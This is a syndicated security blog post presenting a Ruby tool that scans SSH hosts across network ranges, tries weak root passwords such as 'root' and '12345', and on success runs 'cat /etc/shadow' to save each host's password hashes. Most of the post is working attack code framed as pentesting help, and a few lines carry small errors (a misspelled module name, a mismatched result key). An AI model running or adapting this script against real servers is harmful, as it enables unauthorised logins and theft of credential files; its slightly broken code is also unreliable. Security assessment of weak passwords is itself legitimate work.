SBN

Exploiting SSH weak passwords the ruby way

Even before starting writing complex input filters to manage your users’ input,
you must care about the password you use on your servers.
If they are poor, no application security on Earth would save you against a break-in.

Scenario

You are pentesting your customer’s network. A lot of servers are answering to
SSH protocol in order to allow remote management. No problem with this, of
course you may want to deal with remote management also using some identity
and access management
product in order to centralize admin login and to have a
truly random root password on each server.

There are some well known passwords every not-so-security-aware sysadmin would
use to protect root account:

  • God
  • Sex
  • Password
  • root
  • 12345
  • 1q2w3e4r

I’m not jocking. They are still here. People still use weak passwords since
they are quick to memorize and to type on the keyboard.

The funny bit here is that most of time is spent by root to be idle looking at
the ls -l command output. Grin.

Do you need a very quick script to check for root default credentials? I’ll
give you one I wrote and that I found useful in a lot of security assessments.

Implementation

What we need here is to connect to a given host on a given port using the SSH
protocol. Our script must be flexible enough to accept an arbitrary host and
also arbitrary ports. System administrators may have changed SSH default port
to their server, so we would parameterize it instead of hardcoding “22” in our
script.
We need also a way to manage IP addresses notation, in order to scan whole
networks without specifying every single host.

We’re lucky enough, all we need is on standard library. We just want to install
the net-ssh ruby gem.

1
$ gem install net-ssh

Our script would read a config file for target SSH ports and trivial password
to use. We won’t code an ssh bruteforcer, we just want to check if some hosts
in the environment have very trivial password values for root account.

a very basic read_conf method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
require 'yaml'

...

def self.read_conf(conf_file=nil)

  (conf_file.nil?)? file='./ssh_takedown.yaml' : file=conf_file
  (File.exists?(file))? config = YAML.load_file(file) : config = {"config"=>{"ports_to_scan"=>"22", "password_list"=>"root,password"}}

  config
end

# A basic configuration file...
#
# config:
#  ports_to_scan:  "22,2022,3022"
#  password_list:  "God,sex,xxx,Password,root,12345,1q2w3e4r"

# ... and its usage...
#
# 1.9.3-p194 :009 > require 'yaml'
# => true 
# 1.9.3-p194 :010 > read_conf("./con.yaml")
# => {"config"=>{"ports_to_scan"=>"22,2022,3022", "password_list"=>"God,sex,xxx,Password,root,12345,1q2w3e4r"}} 
# 1.9.3-p194 :013 > ports = conf["config"]["ports_to_scan"].split(',')
# => ["22", "2022", "3022"] 

Starting from ruby 1.9 there is a great class in the standard library taking
care of all the stuff about ip addresses.
The idea here is to use this standard library class to manage how inputs in
term of VLANs.

The to_range method helps us in create a list of single host IPAddr classes
that can be used in a loop.

the ipaddr facility
1
2
3
4
5
require 'ipaddr'

net = IPAddr.new("192.168.1.0/24")
net.to_range # => #<IPAddr: IPv4:192.168.1.0/255.255.255.0>..#<IPAddr: IPv4:192.168.1.255/255.255.255.0>
net.to_range.count # => 256

Our main class would take config values, splits the comma separated options and
be ready for the takeover.

Codesake::SSH::Takedown class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
require 'ipaddr'
require 'net/ssh'

module Codesake
  module SSH
    class Takedown

      attr_reader :ports
      attr_reader :passwds
      attr_reader :target
      attr_reader :results

      def initialize(target, config)
        @ports = conf_to_ports(config)
        @passwds = conf_to_passwds(config)
        @target = target
      end

      def analyse
        @results = []


        @target.to_range.each do |host|
          @passwds.each do |pass|
            @ports.each do |port|
              @results << {:host=>host.to_s, :port=>port, :pass=>pass} if connect(host.to_s, port, pass)
            end
          end
        end
        @results
      end

      def takedown
        @results.each do |result|
          steal(result[:host], result[:port], result[:password])
        end
      end

      private

      def steal(host, port, password)
       begin
          ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
          data = ssh.exec!("cat /etc/shadow")
          f_d = File.new(host+"_shadow", "w")
          f_d.write(data)
          f_d.close
          ssh.close
          ret = true
        rescue => e
          ret = false
        end
        ret
      end

      def connect(host, port, password)
        begin
          ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
          ssh.close
          ret = true
        rescue => e
          ret = false
        end

      end

      def conf_to_ports(config)
        config["config"]["ports_to_scan"].split(',')
      end

      def conf_to_passwds(config)
        config["config"]["password_list"].split(',')
      end

    end
  end
end

Now you can glue pieces together.

a ssh weak passwords detect script… you can star from here and improve it to fit best your needs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
require 'yaml'
require 'ipaddr'

# defaulting values here
conf = Codesake::Config.read_conf
net = ARGV[0]

Kernel.exit(-1) if net.nil? or net.empty?

ips  =IPAddr.new(net)
engine = Codesale::SSH::Takedown.new(ips, conf)
results = engine.analyse

# steal /etc/shadow
engine.takedown

Now we can call this script specifying networks in the CIDR notation and having shadow files
to be saved in the current directory.

Off by one

Security starts from protecting your hosts with strong passwords for super user
account. Period. No matter how good is your web code, if you leave the main
door opened, your data are compromised as well as your code is suffering by SQL
Injections.

Now, an announcement. Next April I’ll talk at Railsberry 2013
on about using ruby in a deep web application penetration test.
It would be a great conference and I’m very excited about being part of it.
There will be a lot of great software engineer… I hope they’ll love some
security rants 🙂

*** This is a Security Bloggers Network syndicated blog from armoredcode.com - the application security blog that gets the job done authored by Paolo Perego. Read the original post at: http://armoredcode.com/blog/exploiting-ssh-weak-passwords-the-ruby-way/